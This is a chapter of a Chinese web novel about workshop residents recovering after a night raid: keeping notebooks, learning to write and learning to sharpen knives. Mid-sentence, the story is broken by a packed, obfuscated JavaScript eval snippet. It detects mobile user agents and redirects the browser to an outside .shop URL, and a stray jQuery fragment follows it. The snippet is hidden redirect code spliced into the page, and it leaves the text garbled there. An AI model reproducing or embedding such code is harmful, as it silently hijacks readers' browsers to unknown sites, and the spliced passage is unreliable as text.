夜袭之后的第三天，将作监开始恢复成平时的样子。
说是恢复，其实什么都变了。
那台机器还在转，飞轮转，活塞动，管子冒气。和平时一样。但阿钝每次路过的时候，会多看两眼。不是看它转得稳不稳，是看它还在不在。
那些孩子还在院子里跑，还在围着机器看，还在听阿钝讲那些讲了无数遍的东西。但他们跑的时候会往门口看，看的时候会竖起耳朵听外面的声音。外面一有动静，所有人都会停下来，等那个动静过去。
狗子还抱着那个空包袱，还蹲在那棵树下面。但他蹲着的时候，会往北边看。看一眼，然后低下头，继续擦那个已经不存在的骨头。擦两下，又抬头看一眼。
石头还攥着那块石头，还蹲在狗子旁边。但他开始在本子上写字了，每天写，写完了揣进怀里。阿钝问过他一次写什么，他说：“记。”
阿钝就没再问。
---
阿钝自己也在变。
他每天早上起来，第一件事不是去看那台机器，是去数人头。数狗子，数石头，数那十七个孩子，数周老倔，数陈小锤，数孙二，数阿箬，数李默，数——
他忽然停下来。
少了谁？
他转头找了一圈，看见阿福蹲在墙角，正拿着那个本子在写什么。
阿钝走过去。
“写什么？”
阿福抬起头，看着他。
“写你们。”他说。
阿钝愣了一下。
阿福把本子递过来。阿钝接过去看——然后他愣住了。
那上面的字，整整齐齐，一笔一划，像是印上去的。他从来没见过有人能把字写得这么好看。
“这……这是你写的？”
阿福点了点头。
阿钝看着那些字，看了很久。上面写的是：
**第三天。阿钝早上起来数人头。他数了狗子，数了石头，数了那些孩子，数了周老倔，数了陈小锤，数了孙二，数了阿箬，数了李默。他数到我的时候，愣了一下。因为他把我忘了。**
阿钝抬起头，看着阿福。
“你不记得我。”阿福说，不是问，是陈述。
阿钝想了想。
“我记得。”他说，“就是……没想起来。”
阿福点了点头。
他接过本子，又写了一行。那行字写得很快，但照样工整漂亮。
阿钝没看清写的是什么。但他看着那些字，忽然想起一件事。
“阿福，”他说，“你字写得这么好，能不能教他们？”
阿福愣了一下。
“教谁？”
阿钝指了指那些孩子。
“他们。”他说，“石头也在学写字，写得歪歪扭扭的。你要是教他，他肯定高兴。”
阿福没说话。
他看着那些孩子，看着石头蹲在狗子旁边，手里攥着那块石头，另一只手拿着本子和炭笔。
“他们愿意跟我学？”他问。
阿钝说：“为什么不愿意？你字写得这么好。”
阿福低下头，看着自己的本子。
他忽然发现，这是他第一次被人问“能不能教别人”。
---
那天下午，郭荣的信又来了。
这回是写给阿钝的。
阿钝拆开信，一个字一个字地看。
**阿钝：**
**陈桥那边的事我知道了。你们没事就好。这边还在查，可能是石敬瑭的人。也可能还有别人。你们小心。我夏天回来。**
**郭荣**
阿钝看完，把信折好，揣进怀里。
狗子凑过来问：“郭公子说什么？”
阿钝说：“说夏天回来。”
狗子点了点头。
他低下头，继续擦那个空包袱。擦了两下，又抬起头。
“阿钝哥。”
“嗯。”
“夏天还有多久？”
阿钝想了想。
“两个多月。”
狗子没说话。
他低下头，继续擦包袱。
---
阿钝去找李默。
李默在屋里，对着那张地图发呆。地图上画着汴梁、陈桥、幽州，还有一条长长的线——那是铁路。
阿钝站在门口，没进去。
李默头也没抬：“进来。”
阿钝走进去，站在他旁边。
“师父。”
“嗯。”
阿钝把那封信递给他。
李默接过去看了一眼，还给他。
“他说夏天回来。”李默说。
阿钝点了点头。
李默看着那张地图。
“夏天，”他说，“还有两个多月。”
阿钝不知道他在想什么。
但他知道，这两个多月，不会太平。
---
傍晚的时候，阿箬又在门口磨刀。
这回不是擦，是磨。磨刀石是新的，从孙二那儿拿的。她蹲在那儿，一下一下地磨，磨得很慢，很仔细。
阿钝走过去，在她旁边蹲下。
“阿箬姐。”
阿箬没抬头。
阿钝看着她手里的刀。刀已经磨得很亮了，在夕阳下闪着红光。但她还在磨。
“还要磨？”他问。
阿箬说：“磨不坏。”
阿钝没说话。
他就蹲在那儿，看着她磨。
太阳慢慢落下去，天边的红越来越深，最后变成紫，变成灰，变成黑。
阿箬终于停下来。
她把刀举起来，对着最后一点光看了看。刀刃上有一道细细的光，一闪，没了。
她把刀收起来，放进刀鞘里。
然后她转过头，看着阿钝。
“你跟着我。”她说。
阿钝愣了一下。
“去哪儿？”
阿箬站起来，往院子里走。
“学磨刀。”
---
阿福蹲在墙角，看着他们。
他看着阿箬站起来，看着阿钝跟在她后面，看着他们消失在院子里。
他低下头，看着本子。
刚才他写了一行字：**阿钝把我忘了。**
现在他又加了一行：**阿箬在教阿钝磨刀。磨刀要慢慢磨。她说磨不坏。**
他停了一下，又写：
**我不知道她说的“磨不坏”是刀，还是人。**
写完了，他看着那些字。工工整整的，一笔一划。
他忽然想起阿钝说的那句话。
“你字写得这么好，能不能教他们？”
教别人。
他从来没教过别人。
---
石头不知道什么时候走到他旁边。
阿福抬起头，看见石头蹲在那儿，盯着他的本子看。
“你的字。”石头说，“好看。”
阿福愣了一下。
石头把自己的本子递过来。阿福接过去看，上面的字歪歪扭扭的，有的挤成一团，有的散得老远。但他能看出来，石头在很认真地写。
**第四天。阿钝哥数人头。数到阿福叔的时候愣了一下。**
**第四天。阿箬姐磨刀。阿钝哥跟着学。**
**第四天。郭公子的信来了。说夏天回来。**
阿福看着那些字，看了很久。
然后他抬起头，看着石头。
“你想学？”他问。
石头点了点头。
阿福沉默了一会儿。
“那我教你。”他说。
石头愣住了。
阿福从他手里接过炭笔，在石头的本子上写了一行。
那行字还是那么漂亮，工工整整，一笔一划。
**石头今天开始学写字。**
石头看着那行字，看了很久。
然后他抬起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401638|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头，看着阿福。
“阿福叔，”他说，“你教我之前，能先教我写这几个字吗？”
阿福问：“哪几个？”
石头指着自己本子上那一行。
**阿福叔。**
阿福愣住了。
他看着石头，看着那双认真的眼睛。
“好。”他说。
---
那天晚上，阿钝第一次学磨刀。
阿箬给他一块旧的磨刀石，一把钝得连草都割不动的破刀。她说：“磨。”
阿钝就磨。
磨一下，看看，不行。再磨一下，再看看，还是不行。
阿箬在旁边看着，不说话。
磨了很久，阿钝的手都酸了，那把刀还是钝的。
他抬起头，看着阿箬。
“阿箬姐，我怎么磨不好？”
阿箬接过刀，看了看。
“你急什么？”她说。
阿钝愣了一下。
阿箬把刀还给他。
“刀要慢慢磨。”她说，“人也是。”
她站起来，走了。
阿钝蹲在那儿，看着手里的刀，看着那块磨刀石。
慢慢磨。
他低下头，又开始磨。
一下，一下，一下。
很慢。
---
石头还没睡。
他蹲在屋里，借着月光，看本子上那行新写的字。
**石头今天开始学写字。**
那行字真好看。比他写的所有字都好看。他看着看着，伸出手，摸了摸那行字。纸是糙的，但那些笔画滑滑的，像是刻在上面的。
他又翻开前一页，看自己写的那些歪歪扭扭的字。
看着看着，他忽然觉得，那些字也没那么难看了。
因为那是他自己写的。
阿钝磨完刀的时候，已经很晚了。
他把刀举起来，对着月光看了看。刀刃上有一道光，很细，很亮。
他站起来，去找阿箬。
阿箬坐在院子里，看着那台机器。月光照在她身上，照出一道长长的影子。
阿钝走过去，把刀递给她。
阿箬接过去，看了看。然后她把刀还给他。
“行了。”她说。
阿钝愣了一下。
“行了？”
阿箬点了点头。
阿钝看着手里的刀，又看着阿箬。
“阿箬姐，”他说，“你教我磨刀，是为什么？”
阿箬没回答。
她看着那台机器。
“以后，”她说，“也许用得上。”
阿钝的手攥紧了那把刀。
刀柄是凉的，但刀刃上有他磨出来的光。
---
阿福还坐在墙角。
他的本子摊在膝盖上，月光照在上面，那些字清清楚楚。
他翻到最新一页，拿起炭笔，慢慢写：
**今天阿钝把我忘了。但后来他又想起来。石头来找我，说我的字好看。我教他写了“阿福叔”三个字。他写得很慢，一笔一划。写完他看了很久。**
他停了一下，又写：
**我不知道他为什么想写这三个字。但我知道，明天早上起来，我会记得他们的名字。所有人。**
---
远处传来火车的汽笛声。
呜——
很长，很远。
阿钝抬起头，往北边看了一眼。
什么也没有。只有黑漆漆的天，和看不见的远方。
但他知道，那边有一个人。
那个人说夏天回来。
那个人说“你们小心”。
火车开过来了。
今夜，他们将作监的人，有人在磨刀，有人在写字，有人在教别人写字，有人在等夏天。
日子就这样过下去。
---
**【第六十七章日常完】**